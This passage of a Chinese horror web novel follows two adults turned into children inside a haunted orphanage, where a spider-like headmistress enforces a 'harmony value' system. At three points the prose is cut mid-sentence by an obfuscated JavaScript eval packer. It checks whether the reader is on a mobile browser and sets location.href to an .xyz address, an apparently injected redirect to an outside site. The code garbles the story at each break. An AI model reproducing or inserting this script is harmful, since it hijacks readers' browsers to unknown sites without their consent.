季青望着蛄蛹着蛆虫的碗,胃里一阵紧缩和抽搐,实在下不去嘴。 可她能感到院长妈妈的目光仍然钉在她身上。 季青迅速伸手,在那摊腐烂的水果里挑了一个卖相不那么恶心的梨子,硬着头皮咬了下去,一股难以形容的发酵的甜腻和霉菌苦涩的味道瞬间在口腔中爆开。 “好孩子不可以挑食哦。”院长妈妈温柔的声音传来。 季青抬起头:“我对牛奶过敏,院长妈妈。” 院长妈妈凝视了她几秒,直到季青吃完整个烂梨子,才终于点了点头。 季青垂下眼睛,抑制着喉头翻涌的恶心感觉,她知道,这场噩梦般的早餐,只是一个开始。 早餐过后,孩子们有了一段自由活动的时间,季青来到图书室,随手拿起一支蒙尘的黑色蜡笔,虽然没有了惯用的笔记本,但在纸上稍微理一理思绪的习惯很难改。 为了防止被其他孩子看到,她拿了两张纸,一张盖在一张上面,跟上课时写小纸条一样开始悄悄行动。 她在纸上试探性写下了一句话:【早饭很难吃。】 什么都没有发生。 季青打算更坏一点,写下了第二句:【院长妈妈很恐怖。】 还是什么都没有发生。 难道院长妈妈不能对孤儿院所有事情进行实时监控吗? 季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449127|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青心一横,在纸上重重写下了第三句—— 突然,那个猩红的UI界面再次出现。 【警告:个人和谐值下降5%】 【当前个人和谐值:25%】 【当前整体和谐值:82%】 【警告:感知侵入能力下降,产生同步异常,系统完整度下降】 季青迅速盖好写了字的纸,但紧接着,她手上的黑色蜡笔突然融化滴落,里面钻出了数只黑色的爬虫,季青赶紧松手想要将蜡笔丢掉。 可一只手伸过来,握住了季青拿着蜡笔的手。 又是那只冰凉的小手,安瑞宁不知什么时候站在了季青身后,她的下巴靠在季青肩膀上,轻声说: “没事的,没事的。” 安瑞宁牵着季青的手,在白纸上画起了图画,线条虽然稚嫩简单,但能依稀看出,画的正是孤儿院的房子,房子前是院长妈妈和孩子们手牵着手。 随着画笔的滑动,UI界面再次浮现在季青眼前,这时颜色却是蓝色。 【提示:个人和谐值提升10%】 【当前个人和谐值:35%】 【当前整体和谐值:84%】 【提示:感知侵入能力提升,同步异常减弱,系统完整度上升】 随着UI界面的消散,季青手中的黑色蜡笔也恢复了正常,她抬头打量了一下图书室,里面的场景有了微妙的变化。 刚刚还沾满蛛网和灰尘的书架和桌椅,此刻看起来只是有些陈旧。 似乎是随着这个和谐值的上升,整个世界都变得更美好了一样。 安瑞宁握着季青的手并没有松开,季青反握了回去,说道:“我大概明白你昨天的意思了,仪式之后,我能看到那个和谐值……” “嗯,一旦做出了让妈妈讨厌的事情,和谐值就会降低,孤儿院就变得……”安瑞宁小小的脸上露出一股纠结的神情,接着安瑞宁坐到季青身边,拉开桌子下方的抽屉。 里面是整整齐齐少说数百张一模一样的画,画上无数个院长妈妈和无数个大家手拉手微笑着。 “但是,只要做个好孩子,孤儿院就会越来越好。”安瑞宁扯出一个微笑,“个人和谐值高,就越看不见那些恐怖的东西了。大家的整体和谐值越高,孤儿院就会越好哦。” “所以季青也要当个好孩子,现在和谐值低没有关系,悄悄提升上来就好啦,如果被妈妈知道是谁的和谐值拖了后腿的话……” 咔哒。 一声极轻微、却足以让血液冻结的开门声,打断了安瑞宁的话。 图书室门口的光线暗了下来,院长妈妈不知何时站在那里,脸上挂着温柔的笑容,手上端着一杯“牛奶”。 “好孩子们在分享小秘密吗?”她的声音柔和得像羽毛,目光却精准地落在季青刚才被安瑞宁握住的手上,以及……被季青压在胳膊下的纸张上。 安瑞宁的小脸瞬间变得煞白,下意识地后退了半步。 院长妈妈一步步走近,高跟鞋敲击地板的声音在死寂的图书室里如同丧钟。 她无视了安瑞宁,径直走到季青面前,俯下身,冰凉的指尖轻轻拂过季青衣领上的铃铛。 “看来我们的新家人,还有很多‘规则’不明白。”她的笑容放大,红唇像裂开的伤口,“没关系,妈妈会……亲自、一对一地教你。” 她将装着“牛奶”的杯子递给季青,令人作呕的气息扑面而来。 “喝掉它,好孩子。”她的声音依旧温柔,却带着不容置疑的强制,眼神深处闪烁着非人的、狂热的光泽。 季青盯着杯子,虽然她的和谐度有略微上涨,可杯子里的蛆虫依然清晰可见,看过那个场面,她不可能神情自若地喝掉这杯“牛奶”。 “院长妈妈……早上的时候我说过了,我对牛奶过敏。” “不试试怎么知道呢?”院长妈妈用力掐住季青的脸,强迫她张开嘴,将杯子靠近季青的嘴唇。 “一杯再正常不过的牛奶,是家的味道,你会喜欢的。” 11. 心巢孤儿院(四) 脸颊被冰冷的指尖掐得生疼,季青能清晰看到杯子里的蛆虫还在扭动,白色汁液顺着杯壁往下滴,眼看就要沾到她的嘴角。 反抗只会让院长妈妈发现自己就是那个和谐值极低的“害群之马”,可真喝下去说不定会有更糟的后果。 到底要怎么做? 或许是因为平时上班锻炼了季青的抗压能力,越是紧张的时候她脑子就转得越快。 她突然想到了一个不合理的地方,如果院长妈妈执意要用牛奶测试自己,那为什么不干脆在刚刚吃早餐的时候逼她喝下去? 季青的视线飞快扫过旁边的安瑞宁,女孩还僵在原地,双手死死攥着衣角,脸色白得像纸,眼里满是惊恐。 季青突然想通了: 没有在早餐时逼季青喝下去,大概是担心强迫季青这种行为会让它作为院长妈妈的温柔形象破碎,导致大家的和谐值降低吧。 诡的心思果然比领导的脑回路好揣摩…… 季青狠狠拧了自己小臂一把,眼泪瞬间涌出,她装作脚一软跪坐在地上,大哭起来。 一边哭还要一边吸着鼻子控诉院长妈妈: “院长妈妈……我不能喝……过敏特别特别难受……会喉咙痛,还喘不上气……” “院长妈妈求你了,不要逼我喝……我会死的……” 季青哭得可大声,闹出了不小的动静。 院长妈妈的脸色越来越难看,但很快哭声就吸引来了其他孩子,她不得已换上温柔的笑脸,放下牛奶,转而将季青抱起,像普通的母亲哄孩子那样,装作温柔地拍拍季青的后背。 在院长妈妈哄得心烦之前,季青在冰凉的怀抱里及时止住了哭声,血红的UI再次出现在视野中。 【提示:整体和谐下降10%】 【提示:系统完整度下降】 伴随着UI的出现,季青发现图书室的环境几乎是同步变得更加破败和陈旧了,但是她个人的和谐值并没有下降。 季青思索着安瑞宁刚刚的话: “个人和谐值高,就越看不见那些恐怖的东西了。大家的整体和谐值越高,孤儿院就会越好哦。” 也就是说这个和谐值系统其实是一种意识屏障,且有两个影响表现:孤儿院的孩子和孤儿院本身。 个人的和谐值高低将会决定个人眼中的孤儿院是什么样子,个人和谐值越高,眼中的孤儿院就越美好。而整体和谐值,即孩子们的平均和谐值,将决定孤儿院本身的样子。 而院长妈妈显然也受到这个和谐值系统的掣肘,她这么紧张整体和谐值的高低,甚至不惜放弃试探季青的计划,是因为—— 这个整体和谐值能够影响孤儿院本身的样子只是一种表现,而实际反映的,是院长妈妈力量的强弱! 整体和谐值一旦下降,院长妈妈维系孤儿院的力量就越弱,孤儿院自然就会在季青个人和谐值没有降低的时候变得更破旧了! 如果院长妈妈的力量源泉就是和谐值,那么一切都说得通了! 季青简直又要落泪了,怪谈们都太讲逻辑了,比学生的作业好懂。 直到整体和谐度逐渐稳定,院长妈妈才放下季青,招呼大家散去。 院长妈妈关上图书室的门时,特意朝安瑞宁挤出一个微笑:“瑞宁,我最乖的孩子,你要带好新来的孩子,不要让我失望哦。” 随着门锁落下的咔哒声,安瑞宁仿佛被抽干了力气,一下子瘫坐在地上。 随着个人和谐值和整体和谐值的双重下降,她眼中美好的孤儿院已经开始摇摇欲坠,她捡起地上散落的纸笔,打算故技重施,用描绘和谐家庭的方式强行提升和谐值。 安瑞宁并没有忘记旁边的季青,她握住季青的手,用颤抖着的声音说:“我是最乖的孩子……只要我们一起努力,孤儿院就会越来越好的……” “和我一起画,求你……” “不要做坏孩子……” 季青反过来握住安瑞宁的手,轻拍着安抚她,说出了安瑞宁无论如何也不想承认的话: “瑞宁,你其实早就知道孤儿院真正的模样并没有那么美好,是不是?为什么还要帮着院长妈妈隐瞒大家?” 安瑞宁的眼神动摇着,她迅速抽回手,开始在纸上重复地画画,蜡笔用力摩擦着纸张。她似乎不只是在强行提升和谐值,更像是强迫自己冷静下来,将恐惧和迷茫全部倾泻在纸上。 安瑞宁一边画,一边重复地念叨着:“只要做乖孩子,院长妈妈做的一切,都是为了让孤儿院和大家越来越好……” “因为我们是一家人……所以……” 安瑞宁很坚强,但季青没有放弃,安瑞宁是她必须要争取到的同伴,她打算用更激进一点的办法。 季青站起身,在满地散落的纸张中找到了之前被她悄悄写过字的那张,捡回来拿到安瑞宁的面前。 “瑞宁,你有没有想过自己帮助的,不是院长妈妈。” 一张薄薄的白纸,轻轻盖在她重复过无数次的画作上,却像一柄重锤,敲碎了她为自己编织的幻梦。 白纸上面黑色蜡笔的字迹端端正正,内容却充斥着让安瑞宁发寒的痛苦: 【已核实帖子:1、孤儿院没有生还者。】 季青凝视着安瑞宁,看到她瞳孔深处拼命压抑的恐惧,然后,握住了安瑞宁的手。 “瑞宁,你看,”季青的声音低沉而清晰,每一个字都敲打在安瑞宁紧绷的神经上,“这才是我们需要面对的真相。” 她将蜡笔的笔尖,对准了那行字。 蜡笔接触纸张,发出沙沙的轻响,在死寂的图书室里被无限放大。 红色的线条开始延伸,像血一样流动在纸上。 “为什么孤儿院没有灯?没有热食?甚至没有通电?为什么所有孩子都是十岁左右的样子,好像不会长大?” 季青一边圈,一边轻声问,仿佛在陈述一个再平常不过的事实。 “因为这一切源于一场大火,而那场大火之中……” 红色的笔迹化作绞索,牢牢圈禁了几个字: 【没有生还者】 红色笔迹合拢的瞬间,安瑞宁眼前的UI界面疯狂闪烁起来,红色的警告文字几乎覆盖了整个视野,个人和谐值的数字以前所未有的速度向下跳动! 与此同时,她眼中那个温馨的图书室景象如同破碎的镜子般剥落,焦黑的墙壁、扭曲的窗框、空气中弥漫的焦糊味瞬间涌现! 那是大火焚烧后最真实的模样,再一次呈现在她的眼前。 安瑞宁终于崩溃,发出一声压抑至极的呜咽,那个红色的圈,不仅圈住了真相,也彻底圈碎了她赖以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449128|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生存的谎言。 她的汗水与泪水夺眶而出,将纸上那血红的圈晕染得如同一道狰狞的伤口。 季青抱住安瑞宁,等她平复下来,过了很久,安瑞宁才轻声说:“我知道,我知道的,大家都死了。” 灼热滚烫的火舌、呛人的滚滚浓烟、刺痛眼睛的强烈火光……这些记忆,安瑞宁都记得,这些孩子里,大概也就只有她还记得。 那一晚,院长妈妈和孤儿院其他大人突然将孩子都从床上叫醒,让大家彼此牵着手,一直带到阁楼。 院长妈妈挨个亲过每个孩子的额头,然后叮嘱他们,大家要互相帮助,无论发生什么事情,都不要出声,也不要出来。 院长妈妈离开大家,最后关上阁楼的门时,只说了一句话: “不要出来,门外的蜘蛛吃娃娃。” 令人恐惧的黑暗中,孩子们手牵着手,彼此紧靠着,不敢发出声音。 可外面很快传来了令人惊悚的声音,像无数只钢钉扎进墙里,从屋顶到墙角,在孤儿院的外面急急徘徊着。 随着楼下传来玻璃破碎的声音,那密集的脚步声宣告着怪物已经进入孤儿院,它细密的肢节在孤儿院里搜索着。 紧接着就是院长妈妈的呵止声,惊悚的声音只暂停了一小会,便又踏了过来,外面响起了大人们的惨叫,可很快便被这种毛骨悚然的声音甩在后面。 接着就是越燃越烈的火光,连那怪物都似乎被吓退,在大厅犹豫着,徘徊着。 可很快,大火烧了上来,灼热炙烤着阁楼的孩子们,浓烟从门缝里钻进来,有些孩子被呛得止不住要咳嗽,却想起院长妈妈的话,死死咬住衣角忍耐着。 有大点的孩子注意到阁楼上方的通风口,便自发搭建人梯,将年纪小的孩子们尽量举到通风口边,获取那点微薄的新鲜空气和生机。 大家抱在一起,互相鼓励,可巨大的恐惧和阁楼里逐渐稀薄的氧气让孩子们一个接一个倒了下去。 安瑞宁作为最小的孩子,被大家用尽最后一点力气,送到通风口的铁栏旁,眼泪模糊了她的视线,她听见旁边有即将昏迷的孩子小声抽泣: “妈妈……” 只一瞬间,那怪物似乎敏锐地捕捉到了孩子们的声音,那密集又可怕的声响眨眼间来到了阁楼门口。 那怪物撞击着阁楼的门,一声,又一声。 火光撕破阁楼的黑暗,阁楼的门被打开了。 可门口那个影子不是什么恐怖的怪物。 那是院长妈妈。 那是安瑞宁死前最后看到的画面: “院长妈妈”带着狂喜的笑容,跑进来拥住已经倒下的孩子们,颤抖着嗓音说道: “18、19、20……天呐,这么多孩子,我有这么多的孩子!” “好孩子们,留下来永远陪着我吧!” 接着,“院长妈妈”注意到了在上方通风口处喘息着的安瑞宁,她用非人般的姿态诡异地在垂直的墙壁上爬行着,马上就来到了安瑞宁的旁边。 “院长妈妈”带着温柔过分的微笑,轻抚着安瑞宁的发顶。 “这里还有个孩子能喘气呢……要和大家一起永远留下的话,这样才行。” 接着,一条细长的黑色肢节贯穿了安瑞宁的心脏。 “一家人整整齐齐……” 12. 心巢孤儿院(五) “再醒来,孤儿院又恢复原样了。”安瑞宁哽咽着,“我差点以为那晚的一切都是一场噩梦,其他孩子也都以为是院长妈妈从阁楼救了大家。” “可很快就有其他的孩子发现,其实院长妈妈不是院长妈妈。” 安瑞宁好像是想起了什么令人极度恐惧的事情,眼泪再次大颗大颗往下落,滴在散落在地的温馨图画上。 “但所有尝试反抗和怀疑这个院长妈妈的孩子,都被一个接一个送到了突然出现的禁闭室改造,再出来的时候就什么都不记得了。” “我把那晚的事情告诉了孤儿院最聪明的小远姐姐,她告诉我,千万要当个好孩子,不能让院长妈妈发现我还记得。” 安瑞宁把脸埋进季青的衣领里,拼命压抑着哭声: “我们一直很努力做个好孩子,可是,小远姐姐还是被妈妈牵走送去改造了。” 季青一边轻拍着安瑞宁的背,一边哼唱着童谣,试图让她放松下来,等到安瑞宁渐渐止住了哭声,季青才开始询问她想要知道的事情。 季青捡起画笔在纸上画着圈,问出了她非常在意的细节:“瑞宁,你说怀疑院长妈妈的孩子们,被一个接一个送到禁闭室改造,是一个人出来,下一个人才能进去的意思吗?” “嗯!”安瑞宁的视线跟随着季青画的圈在纸上打转,语气却很坚定,“禁闭室里好像只能放得下一个孩子,妈妈都是先牵着最不听话的孩子进去。” “那是当然……”季青在纸上重重点了一下。 如果把整体和谐值看作班级考试平均分的话,那么想要提高这个平均分,自然是优先给成绩最差的同学“补习”。 季青突然有了想法,如果再多让几个孩子认清现实,引起整体和谐值的波动,院长妈妈说不定会急不可耐地去寻找“害群之马”关进禁闭室。 那样的话,现在还被关在禁闭室的常岚就可以提前出来了。 至于人选…… 她放下蜡笔,抬头问安瑞宁:“你说的小远姐姐,该不会是徐菡远吧?” 安瑞宁小脑袋一歪:“你怎么认识小远姐姐?” “因为啊……”季青微微一笑,将安瑞宁的小脑袋扶正,“其实季青姐姐我呢,才是孤儿院资历最老的孩子哦!” 徐菡远比季青小好几岁,但也是来孤儿院比较久的孩子,她还送过出去上学的季青到车站,在季青的印象中是一个年纪小小,却善于思考,心智非常成熟的孩子。 是一个好人选,不过想要造成足以让“院长妈妈”着急的整体和谐值波动,人手也许还不够,再加一个人比较保险。 除了冷静善思的徐菡远,在这个虚假的家里,还有谁会相信季青和安瑞宁的话,不会向院长妈妈告密呢? 季青脑袋里冒出一个人选,她握住安瑞宁的手说:“孤儿院里,肯定还有一个不止被改造过一次的''超级坏孩子''。” “咯吱——” 图书室的大门突然被推开,季青迅速把安瑞宁护在怀里,两人齐刷刷往门口望去。 安瑞宁从季青怀里怯怯露出半张脸,然后鼓起腮帮子指着门口说: “喏,坏孩子。” 一个顶着卷发,看起来大约十岁的男孩倚在门口,哼了一声,微微皱着眉头回应:“对对对,我是坏孩子……”,他扯了扯自己的领口,上面同样用金线绣着他的名字,林屿。 季青揉了揉眉心,果然是他,季青还没离开孤儿院的时候这孩子就很让孤儿院的工作人员头疼了。 林屿迅速从门缝里挤进来,还拉进来一个戴着眼镜的女孩—— “不过坏孩子可不止我一个。” 被拉进来的女孩一开始还低着头、遮着脸,但安瑞宁一眼就认出了她,朝她扑去: “小远姐姐!难道你想起来了吗?!” 徐菡远摸摸安瑞宁的脑袋,不好意思地苦笑起来,老实承认她其实并没有恢复记忆。 关上图书室的门之后,林屿马上就开始抱怨:“我就知道这里不对劲,怎么大家偏偏都好像对这些诡异的事习以为常,我一开始还以为这里只有我一个正常人呢。” “不过啊,”林屿揪着自己的卷发,“我后面又觉得像我这样的人肯定还有,不然的话那个什么整体和谐值不就应该是接近满分才对吗,我一个不及格的不至于能把平均分拉低到八十吧?” 在一段时间的观察下,林屿很快发现了“同类”:总是躲在角落里默默看着大家的徐菡远,可惜徐菡远根本不搭理他。 虽然察觉到这里不对劲,但冷静聪明的徐菡远却发现,那些表现不好和谐值低的孩子会被抓去禁闭室改造,出来之后就会忘记之前发生的事。 所以她一直默默维持着自己好孩子的形象,即使有所怀疑也不会表现出来,更不会和林屿这种“坏孩子”接近。 可季青的到来就像一粒石子,打破了孤儿院平静的表象,季青是唯一一个敢反抗院长妈妈的命令却没有被抓走的孩子。 居然出现了比自己还能装的人! 徐菡远敏锐地捕捉到了这一点,悄悄关注起季青,等来了这个在门口偷听谈话的机会,而一直试图拉拢徐菡远的林屿也跟了过来。 听完,季青再次揉了揉眉心,就是这种熟悉的感觉,“坏孩子”哪会自己一个人乖乖待着,到处寻找惹事的机会才是常态。 “所以我们现在要怎么做?”林屿打量着这个破败的图书室,虽然他的个人和谐值不了就不高,但听完安瑞宁的话,和谐值更是下降到前所未有的地步,这个孤儿院现在在他眼中宛如地狱。 可要让他这种人强行融入“院长妈妈的和谐游戏”,大概真比身处地狱还让人难以接受。 季青走向大家,小声密谋:“想要打破这个诡异的‘和谐之家’,首先要壮大我们的‘坏孩子联盟’,我还有个同伴被关在禁闭室,当务之急是先救他出来。” 几个孩子的目光不约而同地汇聚到季青这个真正“资历最老”的大孩子身上。 “我们要干坏孩子该干的事。”季青微笑着牵起大家的手,走向现在孩子最多的游戏室,“我们来制造点混乱,才能让院长妈妈自己把禁闭室里,我们的‘同伙’提前放出来。” 季青推开游戏室的门,向其余几人使了个眼色,然后假装摔了一跤,撞翻了旁边地上的积木塔。 徐菡远马上领会了季青的意思,在积木倒塌的乒乓声中,尖叫着假意去推搡林屿,林屿则大叫一声,趁机将桌上的玩具全撒在地上,原本秩序井然的游戏室瞬间炸开了锅。 安瑞宁这次没有再当调停者和秩序的维护者,而是真情实感地哭泣起来,连安瑞宁这个小管理员都无法保持和谐,其他的孩子们也纷纷开始吵闹和哭泣。 孩子们是最容易被情绪感染的,而这种混乱,正是季青想要的。 【警告:整体和谐值下降:82、76、65……】 混乱像病毒般蔓延,下降的速度比季青预想的还要快,空气中那层虚假的温馨滤镜像接触不良的灯泡一样疯狂闪烁。 在季青的低和谐值视野里,墙壁上焦黑的烧灼痕迹时而清晰,时而又被强加上一层幼稚的涂鸦;原本在游戏室安静玩耍的“孩子们”,他们的脸在天真无邪和焦黑扭曲之间高速切换;而耳边那嘈杂的吵闹和哭泣声,不知何时也混入了痛苦的尖叫。 “怎么回事?!安静!都给我安静!” 一个强压着愤怒、带着冷意回音的声音如同冰水浇头,瞬间压过了所有的嘈杂。 游戏室的门被一股无形的力量猛地撞开。 院长妈妈“走了进来”。 和谐值的骤降显然激怒了她,或者说,触动了她最核心的恐惧。她那张慈祥的面具还挂在脸上,但紧绷的嘴角泄露了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449129|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恼怒,浑浊的眼球里没有一丝温度,只有被触犯权威后的冰冷。 游戏室里瞬间死寂。所有孩子都定格在原地,保持着上一秒的动作,眼神空洞地望着它们的“院长妈妈”。 “谁能告诉我,”院长妈妈的声音很轻,却像毒蛇一样钻进每个人的耳朵,“为什么这里会变得如此……不和谐?” 她的目光像探照灯一样扫过所有人,最终定格在看起来最调皮的林屿身上。那目光带着审视,仿佛能穿透皮肉,直抵灵魂深处。 可那目光是无法读取孩子们的个人和谐值的。 林屿拼命维持着脸上惊慌失措又带着点内疚的表情——正像是调皮捣蛋后被抓个正着的孩子该有的样子。季青、徐菡远和安瑞宁也低着头,身体微微发抖,演技在线。 “是……是他们先吵起来的!”林屿飞快指向其他一群无辜的孩子,试图甩锅,“不知道谁推了我一下,然后就吵起来了!” 院长没说话,只是缓缓地、一步一顿地走了进来。她那湿重的脚步声在死寂的房间里格外清晰。 安瑞宁吓得真哭了,眼泪鼻涕一起流,之前的表演变成了真实的恐惧。 “好孩子,告诉妈妈,”院长伸出那只纤细修长得不像人类的手,轻轻放在安瑞宁的头顶,声音温柔得可怕,“最乖的孩子,告诉我,是谁引起的不和谐?” 安瑞宁浑身僵直,巨大的恐惧让她根本说不出预设的台词,只是本能地摇头,眼泪掉得更凶,好不容易才挤出几个字: “我不知道,我来到时候,已经这样了……” 她脸上的怒容稍微平复,取而代之的是一种阴沉的得意,她脸上的笑意更深了,透着一股残忍的愉悦:“没关系,妈妈一个一个问。” 她转向下一个孩子,头颅以一种不可能的角度歪斜着,几乎贴在肩膀上,瞳孔缩成两个黑点:“是你吗?” “是你吗?” “是你吗?” 每个被问到的孩子都抖如筛糠,和谐值的降低让院长妈妈的形象在他们眼中也产生了扭曲,那份恐惧无比真实。 终于,角落里一个年纪最小的男孩再也承受不住这无声的折磨,“哇”地一声哭了出来,尿渍迅速洇湿了他的裤脚。 院长妈妈的头颅猛地转回正位,脸上绽放出一个巨大到惊悚的笑容。 “找到你了……我的小坏蛋……” 她甚至没有起身,四肢着地,像一只巨大的、关节错位的蜘蛛,以一种非人的速度瞬间“爬”到了男孩面前!脖颈伸长,脸几乎贴上男孩涕泪交加的小脸。 “不……不是我……”男孩语无伦次地哀求。 “坏孩子……要接受改造哦……”院长妈妈的声音带着诡异的吟唱感。 话音刚落,地板缝隙中猛地窜出无数猩红、粘稠的丝线,如同活蛇般缠住男孩的脚踝、小腿!男孩发出撕心裂肺的尖叫,被那些红线以巨大的力量拖向门口,手指在地板上划出无助的白痕。 安瑞宁脸色煞白,以往个人和谐值高时,她看到的都是院长妈妈牵着孩子们走向禁闭室。 可随着个人和谐值的降低,安瑞宁才明白,原来被院长妈妈“牵”去禁闭室的真相,竟是这样! 院长妈妈扭曲的身体逐渐恢复成正常的人形,缓缓站直身体,环视着噤若寒蝉的孩子们,微笑道:“要永远做妈妈的好孩子哦。” 门关上了,男孩的哭喊声戛然而止,仿佛被那扇门彻底吞噬。 死寂的游戏室里,只剩下孩子们压抑的抽泣和粗重的呼吸。 季青强忍着胃里的翻腾和心脏的抽搐,低声问:“禁闭室……在哪里?” 计划成功了,代价却如此沉重,那个被拖走的孩子惊恐的眼神,像烙印一样刻在她脑海里。 而现在,禁闭室空出来了,常岚会被放出来吗?被放出来的,还会是原本的常岚吗? 13. 心巢孤儿院(六) 常岚的意识在粘稠的猩红中沉浮。 就像是被困在温暖的血肉沼泽里,四面八方都是柔软而富有弹性的物质,将人紧紧包裹,红色的、带着甜腥气的粘液似乎正缓慢地渗透他的皮肤。 与温暖安适的触感相悖的是,一段段破碎的画面和声音在他脑海里冲撞:道观清晨的钟声、师父玩笑般的训诫、香烛微妙的气味、还有……孤儿院孩子们惊恐的脸? “遣其欲而心自静……澄其心而神自清……” 常岚默背着清净经,试图稳住心神。他向来不爱读这些,但这种时候他不得不在心里感激一下天天逼他上早课的师父。 【记忆同步率:37%……修正中……】 冰冷的意念在他脑海中断断续续地响起,一些他根本没见过的,莫名其妙的画面,持续扰乱着他自我的意识。 常岚试图挣扎,但四肢百骸却软绵绵使不上一点力气,红茧的丝线束缚着他,每一次心跳都仿佛与这巨大的“红茧”同步,将一种陌生的、对“家”的依恋感强行注入他的意识。 话说回来,他……有家吗? 就在这时,一股巨大的外力猛地撕扯着红茧! 包裹感骤然消失,冰冷的空气激得他一颤,他被一股蛮力硬生生从那个温暖的囚笼里拽了出来,踉跄着摔在冰冷的地面上。 常岚视线模糊,他勉强抬起头,看到院长妈妈那张慈祥到诡异的脸近在咫尺。 而就在他被扯出的瞬间,他眼角的余光瞥见一个哭得几乎晕厥的小男孩,被那些蠕动的猩红丝线缠绕着,拖进了他刚刚离开的那个红茧之中,红茧的缺口出冒出数条丝线,迅速合拢,将男孩的尖叫和绝望彻底吞没。 突然,一只冰冷纤长的手正准备悄无声息地抚上常岚的发顶,他猛地一回头,本能般迅速躲开。 “我的好孩子,”院长妈妈的手一顿,但还是保持着温柔的微笑,声音里带着一种假惺惺的欣慰,“你终于找回内心的平静了,看,妈妈帮你赶走了那些不和谐的杂念。” 杂念?道观还是孤儿院? 还是……家? 容不得他多想,院长妈妈就将他搀扶起来,像个学步的孩童般被领着走向禁闭室的门口。 门外,是孤儿院“熟悉”的走廊,只是在他此刻混乱的视野里,时而清晰,时而蒙着一层暖黄的光晕,时而却又闪过焦黑的扭曲光影。 晚餐时间临近,孩子们正排队走向餐厅。常岚跟在队伍的末尾,眼神茫然,经过转角处,一股轻微的力道将他拽了进去! 常岚一个激灵,下意识要反击,却对上一双清澈的眼睛——是季青。 “常岚,你还好吗,”季青的声音压得极低,语气里透露着关切,接着她伸出两根手指在常岚眼前晃了一下,“这是几?” …… “季老师,我只是脑子有点乱,不是傻!”常岚把季青的手指一根根掰了回去,“把我当小孩呢?” 季青笑而不语,脸上一副“果然如此”的神情。 常岚低头看看两人小了一圈的手,陌生的制服和胸前的铃铛胸针,再抬头看看季青明显稚嫩许多的脸,这才发现,季青和他好像都变成小孩了? 自己大概真是脑子糊涂了,居然现在才注意到这回事,常岚一巴掌拍上脑门,张张嘴,刚想说什么,外面却传来了脚步声和院长妈妈的呼唤: “好孩子们不要掉队,晚餐要开始了哦。” 时间紧迫,季青只能简短交代了下:“记住我们是来解决这个怪谈的,在找到破解的方法之前,尽量表现得乖一点,不要再被关进禁闭室了。” 接着两人回到了队伍里,排队走向了餐桌。 这次常岚是最新来的孩子,他接替季青坐在了末尾席,季青则顺了一位,坐在他侧边的位置。 晚餐前,孩子们按照惯例牵起了手,院长妈妈用热情得不可思议的语气说道: “今天,我们再次迎来了一位改造完成的新家人!让我们按照惯例,为这位新成员举行欢迎仪式!” 诡异的童谣声响起,虚幻的滤镜闪烁着。 季青用力握了一下常岚的手,提醒他保持清醒。 “啪。” 一声清脆的响声打断了童谣声,季青睁开眼,发现常岚抽出了被另一个孩子牵住的手,正按在自己的脖颈上。 常岚摊开手拿给季青看,一只红色的人面小蜘蛛正在他掌心抽搐着,看样子是被拍得不轻。 季青深吸了一口气:好一个直觉派!实则是动起手来根本不带思考的! 好快的手,练武的人果然不一样啊…… 院长妈妈眨眼间就从长桌那头以诡异的姿势“爬”了过来,她将脑袋扭成不可思议的角度,狠狠盯着常岚。 但常岚漆黑的眼眸里并没有任何波澜,透露出一种天真的坦然。 他从小就不怕诡怪,天生的。 直到季青再次捏了捏他的手,常岚才想起来季青之前嘱咐过他的话,重新牵起旁边孩子的手,开始低头认错: “刚刚突然感觉有什么东西爬到身上了,感觉有点痒,对不起,下次不会了。” 院长妈妈并没有十分信任常岚的保证,她来到常岚身后,将双手按在常岚的肩膀上,冰冷的气息萦绕着常岚的脖颈,像是一种无声的警告。 童谣再次响起,常岚这次没有挣扎,红色的小人面蜘蛛成功给他注入了和谐值系统,院长妈妈也回到了主位上,只是睁开眼睛的时候,常岚还是控制不住地皱了皱眉: 同季青猜想的一样,他显然也看到了和谐值的UI,作为提前结束改造的孩子,常岚的个人和谐值高不到哪去,他眼中的晚餐,估计也是相当恐怖的。 常岚疑惑地望着季青,季青完全读懂了好搭档的意思: [你就吃这个???] 季青坦然的从烂水果堆里挑出不那么烂的梨子,回以一个淡然的眼神: [对啊,你不吃吗?] 常岚望着眼前蛄蛹着蛆虫的碗,学着季青的样子,也去烂水果堆里挑了一个不那么烂的苹果。 “好孩子不可以挑食哦。” 常岚抬起头,对上院长妈妈嘴角咧到耳根的诡异微笑:“难道说,你也对牛奶过敏?” 常岚一下就猜到那个对牛奶过敏的人是谁了,他克制住自己扭头去看季青得意嘴脸的冲动,回答道: “不是,我对燕麦过敏……” 